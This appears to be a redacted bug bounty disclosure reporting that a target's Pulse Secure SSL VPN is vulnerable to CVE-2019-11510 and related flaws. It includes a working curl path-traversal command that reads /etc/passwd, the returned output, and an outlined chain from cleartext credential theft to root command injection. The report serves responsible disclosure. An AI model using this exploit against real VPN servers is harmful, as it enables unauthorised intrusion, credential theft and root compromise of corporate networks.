Arbitrary File Reading leads to RCE in the Pulse Secure SSL VPN on the https://██████ (███)

How it was found

Description

Hello. Some time ago, researcher Orange Tsai from DEVCORE team had a talk on Defcon/BlackHat regarding Pulse Secure SSL VPN vulnerabilities fixed on 2019/4/25: CVE-2019-11510 - Pre-auth Arbitrary File Reading CVE-2019-11542 - Post-auth Stack Buffer Overflow CVE-2019-11539 - Post-auth Command Injection CVE-2019-11538 - Post-auth Arbitrary File Reading CVE-2019-11508 - Post-auth Arbitrary File Writing CVE-2019-11540 - Post-auth Session Hijacking

Link to the slides: https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf

I discovered that https://██████████ instance is vulnerable to described vulnerabilities.

POC

Reading /etc/passwd via CVE-2019-11510:

curl -i -k --path-as-is https://██████████/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/

root:x:0:0:root:/:/bin/bash
nfast:x:0:0:nfast:/:/bin/bash
bin:x:1:1:bin:/:
nobody:x:99:99:Nobody:/:
dns:x:98:98:DNS:/:
term:x:97:97:Telnet/SSH:/:
web80:x:96:96:Port 80 web:/:
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin

█████

The RCE can be achieved with this chain:

1. Pulse Secure stores credentials in the cleartext.
2. Attacker reads credentials and authorizes on VPN
3. Attacker exploits CVE-2019-11539 - Post-auth Command Injection achieving RCE as root.

Suggested fix

Update the Pulse Secure SSL VPN software.

Note

If you experience timeout errors when reproducing, try to change your IP/VPN

Impact

Remote code execution as root (by reading plaintext credentials and then exploiting CVE-2019-11539 - Post-auth Command Injection) and accessing intranet behind VPN. You can see here example report to Twitter by Orange Tsai: https://hackerone.com/reports/591295